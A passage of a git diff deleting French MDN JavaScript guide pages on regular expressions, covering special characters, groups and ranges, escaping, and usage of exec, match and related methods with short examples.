\0Correspond au caractère NULL (U+0000). Il ne doit pas être suivi d'un autre chiffre car \0<chiffres> est une séquence d'échappement pour les nombres en notation octale (si besoin d'utiliser un chiffre ensuite, on pourra utiliser la forme \x00, cf. ci-après).
\cX -

Correspond au caractère de contrôle où X est une lettre entre A et Z. Correspond au caractèlres de contrôle correspondant entre U+0001-U+001F. Ainsi, /\cM/ correspondra au caractère controle-M au sein d'une chaîne de caractères soit "\r" pour "\r\n".

-
\xhhCorrespond au caractère dont le code hexadécimal est hh (deux chiffres hexadécimaux).
\uhhhhCorrespond au caractère dont le code est hhhh (quatre chiffres hexadécimaux).
\u{hhhh} ou \u{hhhhh}(Uniquement actif quand le marqueur u est activé) Correspond au caractère dont la valeur Unicode est hhhh (en chiffre hexadécimaux).
\ -

La barre oblique inversée indique que le prochain caractère doit être traité spécifiquement ou échappé. Elle se comporte d'une de ces façons :

- -
    -
  • Pour les caractères normalement traités littéralement, cela indique que le prochain caractère est spécial et qu'il ne doit pas être interprété littéralement. Ainsi, /b/ correspondra à la lettre "b" mais en utilisant la barre oblique inversée devant /\b/, on cherchera une limite de mot.
    • -
  • Pour les caractères spéciaux, la barre indique que le caractère doit être interprété littéralement. Ainsi, "*" est un caractère spécial (un quantificateur qui signifie que le caractère précédent doit être présent 0 ou plusieurs fois) : /a*/ cherchera une correspondance avec 0 ou plusieurs "a". Si on souhaite trouver le caractère * dans une chaîne, on placera la barre oblique inversée devant : on a ainsi /a\*/ qui permet de trouver "a*" dans une chaîne.
    • -
- -
-

Note : L'échappement vaut également avec la barre oblique inversée. Autrement dit, si on cherche la présence de \ dans une chaîne, on pourra utiliser l'expression /\\/ (où la première barre oblique échape la seconde).

-
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.1.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.RegExp.property_escapes")}}

- -

Voir aussi

- -
    -
  • {{JSxRef("RegExp")}}
    • -
diff --git "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/groupes_et_intervalles/index.html" "b/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/groupes_et_intervalles/index.html" deleted file mode 100644 index 269313a659..0000000000 --- "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/groupes_et_intervalles/index.html" +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Groupes et intervalles -slug: Web/JavaScript/Guide/Expressions_régulières/Groupes_et_intervalles -tags: - - Groupes - - Guide - - Intervalles - - JavaScript - - RegExp -translation_of: Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges ---- -

{{jsSidebar("JavaScript Guide")}}{{draft}}

- -

Les groupes et intervalles permettent de représenter des groupes ou des intervalles de caractères dans des expressions rationnelles.

- -

Types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CaractèresSignification
x|y -

Correspond à 'x' ou 'y'.

- -

Ainsi, /vert|rouge/ correspond à 'vert' dans "feu vert" et à 'rouge' dans "feu rouge".

-
[xyz]
- [a-c]		Un ensemble de caractère. Ce type de motif correspond pour n'importe quel caractètre présent entre les crochets, y compris les séquences d'échappement. Les caractères spéciaux comme le point (.) et l'astérisque ne sont pas considérés comme spéciaux au sein d'un ensemble et n'ont donc pas besoin d'être échappés. Il est possible de donner un ensemble sur un intervalle de caractères en utilisant un tiret (-), comme le montre l'exemple qui suit.
-
- Le motif [a-d],  aura les mêmes correspondances que [abcd], correspondant au 'b' de "bulle" et au 'c' de "ciel". Les motifis /[a-z.]+/ et /[\w.]+/ correspondront pour la chaîne entirère : "Adre.ss.e".
-

[^xyz]
- [^a-c]

- 		- - -

Exclusion d'un ensemble de caractères. Cela correspond à tout ce qui n'est pas compris entre crochets. Il est possible de fournir un intervalle de caractères en utilisant un tiret (-). Les autres règles qui s'appliquent pour l'ensemble de caractères (ci-avant) s'appliquent également ici.

- -

Par exemple, [^abc] est équivalent à [^a-c]. Ils correspondent à 'u' dans "bulle" et à 'i' dans "ciel".

- -
-

Note : Le caractère ^ peut également être utilisé afin d'indiquer le début d'un champ.

-
-
(x) -

Correspond à 'x' et garde la correspondance en mémoire. Les parenthèses permettent de capturer l'expression dans un « groupe ».
-
- Les '(toto)' et '(truc)', dans le motif /(toto) (truc) \1 \2/ correspondent et gardent en mémoire les deux premiers mots de la chaîne de caractère "toto truc toto truc". Les \1 et \2 du motif correspondent respectivement à la première et à la deuxième correspondances pour les sous-chaînes entre parenthèses. Lorsqu'on souhaite effectuer un remplacement, on utilisera $1 et $2 pour faire référence au premier et second groupe et $n pour faire référence au n-ième groupe capturé (ex. ('toto truc'.replace(/(...) (...)/, '$2 $1'). $& fera référence à la chaîne entière).

- -

Capturing groups have a performance penalty. If you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below).

- -

String.match() won't return groups if the /.../g flag is set. However, you can still use String.matchAll() to get all matches.

-
\n -

Avec n un entier positif. Cela permet de faire référence à la dernière sous-chaîne qui correspond au n-ième groupe entre parenthèses de l'expression rationnelle (en comptant les parenthèses gauche). Ainsi, /apple(,)\sorange\1/ correspondra à "apple, orange," dans "apple, orange, cherry, peach".

-
(?<Nom>x) -

Correspond à x et nomme la correspondance. Les correspondances associées pourront être retrouvées via le nom indiqué. Les chevrons ('<' et '>') sont obligatoires pour encadrer le nom.

- -

Ainsi, si on veut extraire la composante de zone d'un numéro de téléphone aux États-Unis, on pourra écrire /\((?<area>\d\d\d)\)/ et récupérer le nombre voulu avec matches.groups.area.

-
(?:x)Correspond à 'x' mais ne garde pas la correspondance en mémoire. Les parenthèses ne capturent pas l'expression et permettent d'utiliser des sous-expressions d'une expression régulière pour travailler plus finement. L'expression /(?:zoo){1,2}/ sans parenthèes non-capturantes les caractères {1,2} ne s'appliqueraient qu'au dernier 'o' de 'zoo'. Avec les parenthèses capturantes, {1,2} s'applique au mot entier 'zoo'.
- -
-

 Note de compatibilité : Firefox ne prend pas en charge les groupes nommés. Pour plus d'informations, voir le bug correspondant.

-
diff --git "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/index.html" "b/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/index.html" deleted file mode 100644 index 94d037bbf2..0000000000 --- "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/index.html" +++ /dev/null @@ -1,745 +0,0 @@ ---- -title: Expressions rationnelles -slug: Web/JavaScript/Guide/Expressions_régulières -tags: - - Guide - - Intermédiaire - - JavaScript - - RegExp -translation_of: Web/JavaScript/Guide/Regular_Expressions ---- -

{{jsSidebar("JavaScript Guide")}}{{PreviousNext("Web/JavaScript/Guide/Formatage_du_texte", "Web/JavaScript/Guide/Collections_indexées")}}

- -

Les expressions rationnelles sont des motifs utilisés pour correspondre à certaines combinaisons de caractères au sein de chaînes de caractères. En JavaScript, les expressions rationnelles sont également des objets. Ces motifs sont utilisés avec les méthodes {{jsxref("RegExp.exec", "exec")}} et {{jsxref("RegExp.test", "test")}} de {{jsxref("RegExp")}}, et avec les méthodes {{jsxref("String.match", "match")}}, {{jsxref("String.matchAll", "matchAll")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}} et {{jsxref("String.split", "split")}} de {{jsxref("String")}}. Ce chapitre explique comment utiliser les expressions rationnelles en JavaScript (aussi appelées expressions régulières ou « RegExp »).

- -

Créer une expression rationnelle

- -

Il est possible de construire une expression rationnelle de deux façons :

- -
    -
  • Utiliser un littéral d'expression régulière, qui correspond à un motif contenu entre deux barres obliques, par exemple : - 
    var re = /ab+c/;
-
    - -

    Lorsque les littéraux d'expression régulière sont utilisés, l'expression est compilée lors du chargement du script. Il est préférable d'utiliser cette méthode lorsque l'expression régulière reste constante, afin d'avoir de meilleurs performances.

    -
    • -
  • Appeler le constructeur de l'objet {{jsxref("RegExp")}}, par exemple : - 
    var re = new RegExp("ab+c");
-
    - -

    Avec cette méthode, l'expression rationnelle est compilée lors de l'exécution. On utilisera cette méthode lorsque le motif utilisé est variable ou provient d'une autre source (par exemple une interaction utilisateur).

    -
    • -
- -

Écrire une expression rationnelle

- -

Le motif d'une expression rationnelle est composé de caractères simples (comme /abc/), ou de caractères simples et spéciaux, comme /ab*c/ ou /Chapitre (\d+)\.\d*/ . Le dernier exemple utilise des parenthèses qui permettent d'avoir une « mémoire ». La correspondance avec le motif contenu entre parenthèses pourra être utilisée par la suite. Ceci est décrit avec ce paragraphe.

- -

Utiliser des motifs simples

- -

Les motifs simples sont construits à partir de caractères pour lesquels on souhaite avoir une correspondance directe. Le motif /des/ correspond lorsqu'on observe exactement les caractères 'des' ensemble et dans cet ordre précis. On pourrait utiliser ce motif et détecter une correspondance dans les chaînes suivantes : "J'ai vu des licornes ?" et "Sa description de licorne était superbe" car la chaîne de caractères 'des' y est présente (dans le mot description pour le second exemple). Il n'y aura pas de correspondance avec la chaîne de caractères "Toc toc" car 'des' n'est pas présente.

- -

Utiliser des caractères spéciaux

- -

Lorsque le motif à trouver est plus complexe qu'une simple égalité (trouver tous les B, les blancs...), le motif devra contenir des caractères spéciaux. Ainsi, le motif /ab*c/ correspond à toutes les combinaisons de caractères qui possèdent un seul 'a' suivi de zéro ou plusieurs 'b' (l'astérisque utilisée ici signifie que l'élément qui la précède doit être présent zéro ou plusieurs fois) qui sont immédiatement suivis d'un 'c'. Par exemple, la chaîne de caractère "cbbabbbbcdebc" correspond au motif avec la chaîne de caractères 'abbbbc'.

- -

Les pages suivantes décrivent en détail les caractères spéciaux qui peuvent être utilisés afin de composer une expression rationnelle.

- -
-
Assertions
-
Une assertion caractérisant la façon dont la correspondance peut se produire (en recherchant un motif avant, après ou avec une expression conditionnelle).
-
Limites
-
Permet d'indiquer le début ou la fin d'une ligne ou d'un mot.
-
Classes de caractère
-
Les classes permettent de distinguer différents caractères selon différents groupes (par exemple les lettres et les chiffres).
-
Groupes et intervalles
-
Permet d'indiquer un groupe ou un intervalle de caractères.
-
Quantificateurs
-
Permet d'indiquer un nombre de caractères ou d'expressions qui doivent correspondre.
-
Propriétés Unicode
-
Permet de distinguer les caractères en fonction de leurs caractéristiques Unicode (majuscule/minuscule, symbole mathématique, ponctuation).
-
- -

Échapper des caractères

- -

SI on souhaite rechercher certains caractères dans une chaîne de caractères et que ceux-ci ont une signification spéciale lorsqu'ils font partie d'une expression rationnelle (ex. "*"), il faudra échapper ces caractères spéciaux en plaçant une barre oblique inversée (backslash "\") devant. Ainsi, si on souhaite trouver un "a" suivi d'un astérisque ("*") suivi d'un "b", on pourra composer l'expression rationnelle : /a\*b/ où la barre oblique inversée échappe l'astérisque afin de lui enlever sa signification particulière.

- -

De même si on écrit un littéral d'expression rationnelle et qu'on souhaite rechercher une barre oblique ("/") dans la chaîne cible, on pourra échapper ce caractère (sinon, il aura sa signification particulière aux expressions rationnelles et indiquera la fin du motif). Si on cherche la présence de "/exemple/" dans une chaîne de caractères, on pourra utiliser le littéral /\/exemple\//.

- -

Il en va de même avec la barre oblique inversée (dont la signification spécifique est justement l'échappement) : si on veut rechercher la chaîne "C:\", on pourra utiliser le motif /C:\\/ (la première barre oblique inversée sert à échapper la seconde).

- -

Lorsqu'on utilise le constructeur {{jsxref("RegExp")}} avec une chaîne de caractères en paramètre (plutôt qu'un littéral), il faudra échapper la barre oblique inversée qui a un sens particulier dans les chaînes de caractères. Ainsi, le littéral /a\*b/ et new RegExp("a\\*b") créeront la même expression (qui permet de chercher la lettre "a", suivie d'un astérisque, suivi de la lettre "b").

- -

La tableau qui suit fournit une liste complète des caractères spéciaux pouvant être utilisés dans les expressions régulières ainsi que leur signification.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Caractères spéciaux utilisables pour les expressions rationnelles.
CaractèreSignification
\ -

Correspond selon les règles suivantes :
-
- Une barre oblique inversée (backslash) précédant un caractère non spécial indique que le caractère qui suit est spécial et qu'il ne doit pas être interprété directement. Ainsi, un 'b', sans \ avant, correspondra pour les 'b' minuscules quel que soit leur position. En revanche '\b' ne correspondra à aucun caractère mais indique un caractère de fin de mot.
-
- Un backslash précédant un caractère spécial indique que le caractère qui suit doit être interprété littéralement (et non pas comme un caractère spécial). Ainsi, le motif /a*/ utilise le caractère spécial '*' pour correspondre à 0 ou plusieurs 'a'. Le motif /a\*/, au contraire, rend '*' non-spécial pour correspondre aux chaînes de caractères qui comportent la lettre a et une astérisque, comme 'a*'.
-
- Il ne faut pas oublier d'échapper le caractère \ car lui-même est un caractère d'échappement dans les chaînes de caractères. Cela est utile lorsqu'on utilise la notation RegExp("motif").

-
^Correspond au début la séquence. Si le marqueur (flag) de lignes multiples vaut true, il correspondra également immédiatement après un caractère de saut de ligne.
-
- Ainsi, /^A/ ne correspond pas au 'A' de "un A", mais correspond au 'A' de "Arceau".
-
- Le caractère '^' possède un sens différent lorsqu'il est utilisé dans un motif d'ensemble de caractères. Voir les compléments sur les ensembles de caractères pour plus de détails et d'exemples.
$ -

Correspond à la fin de la séquence. Si le marqueur (flag) de lignes multiples vaut true, il correspondra également immédiatement avant un caractère de saut de ligne.

- -

Ainsi, /t$/ ne correspond pas au 't' de "printemps", mais correspond au 't' de "aliment".

-
* -

Correspond à l'expression précédente qui est répétée 0 ou plusieurs fois. Équivalent à {0,}

- -

Ainsi, /bo*/ correspond à 'boo' dans "Un booléen" et à 'b' dans "Un bateau bleu", mais ne correspond à rien dans "Ce matin".

-
+ -

Correspond à l'expression précédente qui est répétée une ou plusieurs fois. C'est équivalent à {1,}.

- -

Ainsi, /a+/ correspond au 'a' dans "maison" et à tous les 'a' dans "maaaaaaison" mais ne correspond à rien dans "mission".

-
?Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à {0,1}.
-
- Ainsi, /e?le?/ correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".
-
- S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple /\d+/ utilisée avec "123abc" fait correspondre "123". Utiliser /\d+?/ à la même chaîne de caractères fait correspondre "1".
-
- Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes x(?=y) et x(?!y) de ce tableau.
. -

Par défaut, (Le point) correspond à n'importe quel caractère excepté un caractère de saut de ligne.

- -

Ainsi, /.n/ correspond à 'un' et 'en' dans "Un baobab nain en cours de croissance" mais pas à 'nain'.

- -

Si le marqueur s (dotAll) est utilisé, le point correspondra également aux caractères de saut de ligne.

-
(x) -

Correspond à 'x' et garde la correspondance en mémoire. Les parenthèses permettent de capturer l'expression dans un « groupe ».
-
- Les '(toto)' et '(truc)', dans le motif /(toto) (truc) \1 \2/ correspondent et gardent en mémoire les deux premiers mots de la chaîne de caractère "toto truc toto truc". Les \1 et \2 du motif correspondent respectivement à la première et à la deuxième correspondances pour les sous-chaînes entre parenthèses. Lorsqu'on souhaite effectuer un remplacement, on utilisera $1 et $2 pour faire référence au premier et second groupe et $n pour faire référence au n-ième groupe capturé (ex. ('toto truc'.replace(/(...) (...)/, '$2 $1'). $& fera référence à la chaîne entière).

-
(?:x)Correspond à 'x' mais ne garde pas la correspondance en mémoire. Les parenthèses ne capturent pas l'expression et permettent d'utiliser des sous-expressions d'une expression régulière pour travailler plus finement. L'expression /(?:zoo){1,2}/ sans parenthèses non-capturantes les caractères {1,2} ne s'appliqueraient qu'au dernier 'o' de 'zoo'. Avec les parenthèses capturantes, {1,2} s'applique au mot entier 'zoo'. Pour plus d'informations, voir Utiliser les parenthèses ci-après.
x(?=y) -

Correspond à 'x' seulement s'il est suivi de 'y'. On appelle cela un test de succession (lookahead).

- -

Ainsi, /Jack(?=Sparrow)/ correspond à 'Jack' seulement s'il est suivi de 'Sparrow'. /Jack(?=Sparrow|Bauer)/ correspond à 'Jack' seulement s'il est suivi de 'Sparrow' ou de 'Bauer'. Cependant, ni 'Sparrow' ni 'Bauer' ne feront partie de la correspondance.

-
x(?!y) -

Correspond à 'x' seulement si 'x' n'est pas suivi de 'y'.

- -

Ainsi, /\d+(?!\.)/ correspond à un nombre qui n'est pas suivi par un point, cette expression utilisée avec la chaîne 3.141 correspondra pour '141' mais pas pour '3.141'.

-
(?<=y)x -

Correspond à x seulement si x est précédé par y. C'est ce qu'on appelle une recherche arrière (lookbehind).

- -

Ainsi /(?<=Jack)Sprat/ correspond à "Sprat" seulement s'il est précédé de "Jack".
- /(?<=Jack|Tom)Sprat/ correspond à "Sprat" seulement s'il est précédé de "Jack" ou "Tom".
- Toutefois, "Jack" et "Tom" ne feront pas partie de la correspondance.

-
(?<!y)x -

Correspond à x uniquement si x n'est pas précédé par y (parfois appelée en anglais negated lookbehind).

- -

Ainsi, /(?<!-)\d+/ correspondra à un nombre seulement si celui-ci n'est pas précédé d'un signe moins.
- /(?<!-)\d+/.exec('3') cible "3".
- /(?<!-)\d+/.exec('-3') ne trouve aucune correspondance car le nombre est précédé d'un signe.

-
x|y -

Correspond à 'x' ou 'y'.

- -

Ainsi, /vert|rouge/ correspond à 'vert' dans "feu vert" et à 'rouge' dans "feu rouge".

-
{n}Correspond pour exactement n occurences de l'expression précédente. N doit être un entier positif.
-
- Ainsi, /a{2}/ ne correspond pas au 'a' de "Mozilla" mais correspond à tous les 'a' de "Mozilaa" et aux deux premiers 'a' de "Mozillaaa".
{n,} -

Correspond lorsqu'il y a au moins n occurences de l'expression précédente. n doit être un entier positif.

- -

Par exemple /a{2,}/ correspondra à "aa" ou à "aaa" ou encore à "aaaa" mais pas à "a".

-
{n,m} -

Lorsque n et m sont des entiers positifs, cela correspond à au moins n occurences de l'expression précédente et à au plus m occurrences. Lorsque m n'est pas utilisé, la valeur par défaut correspondante sera l'infini.

- -

Ainsi, /a{1,3}/ ne correspond à rien dans "Mozill", au 'a' de "Mozilla", au deux premiers 'a' de "Mozillaa" et au trois premiers 'a' de "Mozillaaaaa". Pour ce dernier exemple, on doit noter que le correspondance ne se fait que sur "aaa" bien qu'il y ait plus de 'a' dans la chaîne de caractères.

-
[xyz]Un ensemble de caractère. Ce type de motif correspond pour n'importe quel caractètre présent entre les crochets, y compris les séquences d'échappement. Les caractères spéciaux comme le point (.) et l'astérisque ne sont pas considérés comme spéciaux au sein d'un ensemble et n'ont donc pas besoin d'être échappés. Il est possible de donner un ensemble sur un intervalle de caractères en utilisant un tiret (-), comme le montre l'exemple qui suit.
-
- Le motif [a-d], aura les mêmes correspondances que [abcd], correspondant au 'b' de "bulle" et au 'c' de "ciel". Les motifis /[a-z.]+/ et /[\w.]+/ correspondront pour la chaîne entirère : "Adre.ss.e".
[^xyz] -

Exclusion d'un ensemble de caractères. Cela correspond à tout ce qui n'est pas compris entre crochets. Il est possible de fournir un intervalle de caractères en utilisant un tiret (-). Les autres règles qui s'appliquent pour l'ensemble de caractères (ci-avant) s'appliquent également ici.

- -

Par exemple, [^abc] est équivalent à [^a-c]. Ils correspondent à 'u' dans "bulle" et à 'i' dans "ciel".

-
[\b]Correspond pour un retour arrière (U+0008). (À ne pas confondre avec \b.)
\b -

Correspond à la position d'uneAfter the limite de mot. Une limite de mot correspond à la position où un caractère d'un mot n'est pas suivi ou précédé d'un autre caractère de mot. Il faut savoir que la limite correspondante n'est pas incluse dans le résultat. Autrement dit, la longueur d'une telle correspondance est nulle. (À ne pas confondre avec [\b].)

- -

Exemples :
- /\bm/ correspond au 'm' dans "mignon" ;
- /no\b/ ne correspond pas au 'no' de "mignon" car 'no' est suivi de 'n' qui n'est pas un caractère de limite de mot;
- /non\b/ correspond au 'non' de "mignon" car 'non' représente la fin de la chaîne de caractère et n'est donc pas suivi par un caractère de mot.
- /\w\b\w/ ne correspondra jamais à quoi que ce soit car un caractère de mot ne peut pas être suivi à la fois par un caractère de mot et un caractère n'étant pas un caractère de mot.

- -
-

Note : Le moteur d'expressions rationnelles JavaScript définit un ensemble de caractères spécifiques qui doivent être considérés comme des caractères de mot. Tout caractère qui n'est pas dans cet ensemble est considéré comme une limite de mot. Cet ensemble de caractères est relativement limité car constitué uniquement des caractères de l'alphabet romain en minuscules et en majuscules, des chiffres décimaux et du tiret-bas (underscore). Les autres caractères, comme les caractères accentués (é ou ü par exemple), sont donc considérés comme des limites de mots.

-
-
\B -

Correspond à une "non-limite de mot". Cela correspond pour les cas suivants :

- -
    -
  • Avant le premier caractère d'une chaîne de caractères
    • -
  • Après le dernier caractère d'une chaîne de caractères
    • -
  • Entre deux caractères de mot
    • -
  • Entre deux caractères qui ne sont pas des caractères de mot
    • -
  • Avec la chaîne vide.
    • -
- -

Ainsi, /\B../ correspond au 'oo' de "football" (et /e\B./ correspond au 'er' dans "une mer "

-
\cX -

Étant donné un caractère X compris entre A et Z, cela correspond au caractère de contrôle dans une chaîne de caractères.

- -

Ainsi, /\cM/ correspond au caractère de contrôle M (U+000D) d'une chaîne de caractère.

-
\d -

Correspond à un chiffre et est équivalent à [0-9].

- -

Ainsi, /\d/ ou /[0-9]/ correspond à '2' dans "H2O est la molécule de l'eau".

-
\D -

Correspond à tout caractère qui n'est pas un chiffre et est équivalent à [^0-9].

- -

Ainsi, /\D/ ou /[^0-9]/ correspond à 'H' dans "H2O est la molécule de l'eau".

-
\fCorrespond à un saut de page (U+000C).
\nCorrespond à un saut de ligne (U+000A).
\rCorrespond à un retour chariot (U+000D).
\s -

Correspond à un blanc (cela comprend les espace, tabulation, saut de ligne ou saut de page). C'est équivalent à [ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

- -

Ainsi, /\s\w*/ correspond à ' toto' dans "truc toto".

-
\S -

Correspond à un caractère qui n'est pas un blanc. C'est équivalent à [^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

- -

Ainsi, /\S\w*/ correspond à 'truc' dans "truc toto".

-
\tCorrespond à une tabulation (U+0009).
\vCorrespond à une tabulation verticale (U+000B).
\w -

Correspond à n'importe quel caractère alphanumérique, y compris le tiret bas. C'est équivalent à [A-Za-z0-9_].

- -

Ainsi, /\w/ correspond à 'l' dans "licorne", à '5' dans "5,28€", et à '3' dans "3D."

-
\W -

Correspond à n'importe quel caractère n'étant pas un caractère de mot. Cela est équivalent à [^A-Za-z0-9_].

- -

Ainsi, /\W/ ou /[^A-Za-z0-9_]/ correspond à '%' dans "50%."

-
\n -

Soit n un entier strictement positif, cela fait référence au groupe de la n-ième expression entre parenthèses (en comptant les parenthèses ouvrantes).

- -

Ainsi, /pomme(,)\spoire\1/ correspond à 'pomme, poire,' dans "pomme, poire, cerise, pêche".

-
\0Correspond au caractère NULL (U+0000). Il ne doit pas être suivi d'un autre chiffre car \0<chiffres> est une séquence d'échappement pour les nombres en notation octale (si besoin d'utiliser un chiffre ensuite, on pourra utiliser la forme \x00, cf. ci-après).
\xhhCorrespond au caractère dont le code hexadécimal est hh (deux chiffres hexadécimaux).
\uhhhhCorrespond au caractère dont le code est hhhh (quatre chiffres hexadécimaux).
\u{hhhh}(Uniquement actif quand le marqueur u est activé) Correspond au caractère dont la valeur Unicode est hhhh (en chiffre hexadécimaux).
- -

Afin d'échapper les informations saisies par l'utilisateur et de traîter les chaînes de caractères pour les utiliser au sein d'un expression régulière correspondante, il est possible d'utiliser le remplacement suivant :

- -
function escapeRegExp(string){
-  // $& correspond à la chaîne correspondante
-  // dans son intégralité
-  return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
-}
- -

Le marqueur g situé en fin d'expression permet d'effectuer une recherche globale, qui parcoure toute la chaîne et renvoie l'ensemble des correspondances trouvées (voir Utiliser les marqueurs ci-après).

- -
-

Note : Voir la page sur la méthode String.replace pour plus d'informations.

-
- -

Utiliser les parenthèses

- -

Les parenthèses encadrant une partie du motif de l'expression régulière peuvent être utilisées pour garder en mémoire les correspondances. Cela pourra être utile pour réutiliser la correspondance trouvée.

- -

Ainsi, le motif /Chapitre (\d+)\.\d*/ utilise des caractères échappés et spéciaux et indique une partie du motif à garder en mémoire. Ce motif correspond aux caractères 'Chapitre ' suivi par un ou plusieurs caractères numériques (\d correspond à un chiffre et + indiquant que une série de 1 ou plusieurs chiffres), suivis par un point (qu'il est nécessaire d'échapper car c'est un caractère spécial, on utilise donc '\' pour indiquer qu'on souhaite reconnaître le caractère '.'), suivi par 0 ou plusieurs chiffres (\d correspondant à un chiffre et l'astérisque indiquant que le caractère est présent 0 ou plusieurs fois). Les parenthèses sont utilisées pour garder en mémoire les premiers chiffres correspondant.

- -

Ce motif est trouvé dans "Ouvrir le Chapitre 4.3 au paragraphe 6" et le chiffre '4' est gardé en mémoire. Le motif n'est pas trouvé dans  "Chapitre 3 et 4", car la chaîne de caractères ne comporte pas de point après le '3'.

- -

Pour qu'une partie de la chaîne de caractère corresponde mais que la correspondance ne soit pas gardée en mémoire, on pourra utiliser ?:. Ainsi, (?:\d+) correspondra pour une séquence de chiffres (1 ou plusieurs chiffres) mais on ne gardera pas en mémoire les caractères correspondants.

- -

Utiliser les expressions rationnelles

- -

Les expresssions régulières sont utilisées avec les méthodes test et exec de l'objet RegExp et avec les méthodes match, replace, search, et split de l'objet String. Ces méthodes sont expliquées en détail dans la Référence JavaScript.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Méthodes utilisant les expressions régulières
MéthodeDescription
{{jsxref("RegExp.exec", "exec")}}Une méthode de l'objet RegExp qui exécute une recherche de correspondance dans une chaîne de caractères. Elle renvoie un tableau d'informations ou null lorsqu'il n'y a pas de correspondance.
{{jsxref("RegExp.test", "test")}}Une méthode de l'objet RegExp testant la présence d'une correspondance dans une chaîne de caractères. Elle renvoie true ou false.
{{jsxref("String.match", "match")}}Une méthode de l'objet String qui exécute une recherche de correspondance dans une chaîne de caractères. Elle renvoie un tableau d'informations ou null lorsqu'il n'y a pas de correspondance.
{{jsxref("String.matchAll", "matchAll")}}Une méthode de l'objet String qui renvoie un itérateur contenant l'ensemble des correspondances, y compris les groupes capturants.
{{jsxref("String.search", "search")}}Une méthode de l'objet String qui teste la présence d'une correspondance dans une chaîne de correspondance. Elle renvoie la position de la correspondance ou -1 s'il n'y en a pas.
{{jsxref("String.replace", "replace")}}Une méthode de l'objet String qui recherche une correspondance dans une chaîne de caractères et qui remplace la correspondance par une chaîne de substitution.
{{jsxref("String.split", "split")}}Une méthode de l'objet String qui utilise une expression régulière ou une chaîne de caractères pour découper une chaîne de caractères en un tableau comprenant les fragments résultants.
- -

Pour savoir si un motif est présent au sein d'une chaîne de caractères, utiliser les méthodes test ou search. Pour obtenir plus d'informations (moins rapidement) on utilisera les méthodes exec ou match. Si on utilise exec ou match et qu'une correspondance est trouvée, ces méthodes renverront un tableau et mettront à jour des propriétés de l'objet global RegExp et aussi de l'instance de RegExp associée à l'expression rationnelle. Si aucune correspondance n'est trouvée, la méthode exec renverra null (qui est automatiquement converti à false lors d'un test conditionnel).

- -

Dans l'exemple qui suit, le script utilise la méthode exec pour trouver une correspondance dans une chaîne de caractères.

- -
var monExpressionReguliere = /d(b+)d/g;
-var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
-
- -

S'il n'est pas nécessaire d'accéder aux propriétés de l'expression régulière, une autre façon de récupérer monTableau peut être :

- -
var monTableau = /d(b+)d/g.exec("cdbbdbsbz");
-// équivalent à "cdbbdbsbz".match(/d(b+)d/g);
-
- -

Si on souhaite construire une expression régulière à partir d'une chaîne de caractères, on peut utiliser le script suivant :

- -
var monExpressionReguliere = new RegExp("d(b+)d", "g");
-var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
-
- -

Avec ces scripts, on obtient bien une correspondance, la méthode renvoie un tableau et met à jour les propriétés listées dans le tableau qui suit.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Résultats dûs à l'exécution d'une expression rationnelle.
ObjetPropriété ou indiceDescriptionPour cet exemple
monTableauLa chaîne de caractères correspondante et les fragments de chaînes gardés en mémoire.["dbbd", "bb"]
indexL'indice (débute à partir de 0) de la correspondance, compté dans la chaîne de caractère initiale.1
inputLa chaîne de caractères initiale."cdbbdbsbz"
[0]Les derniers caractères qui correspondent."dbbd"
monExpressionRégulièrelastIndexL'indice auquel débuter la prochaine correspondance. (Cette propriété n'est utilisée que si l'expression régulière utilise l'option g, décrite dans « Effectuer des recherches avancées avec les marqueurs ».5
sourceLe texte du motif, mis à jour à la création de l'expression régulière mais pas lors de son exécution."d(b+)d"
- -

Comme le montre la seconde formulation de cet exemple, il est possible d'utiliser une expression rationnelle, créée avec un objet initialisé sans l'affecter à une variable. Cela implique qu'à chaque utilisation, on aura une nouvelle expression régulière distincte et qu'on ne pourra pas, pour cette raison, accéder aux propriétés de l'expression régulière. Avec le script suivant :

- -
var monExpressionReguliere = /d(b+)d/g;
-var monTableau = monExpressionReguliere.exec("cdbbdbsbz");
-console.log("La valeur de lastIndex est " + monExpressionReguliere.lastIndex);
-
-// "La valeur de lastIndex est 5"
-
- -

Si le script utilisé est :

- -
var monTableau = /d(b+)d/g.exec("cdbbdbsbz");
-console.log("La valeur de lastIndex est " + /d(b+)d/g.lastIndex);
-
-// "La valeur de lastIndex est 0"
-
- -

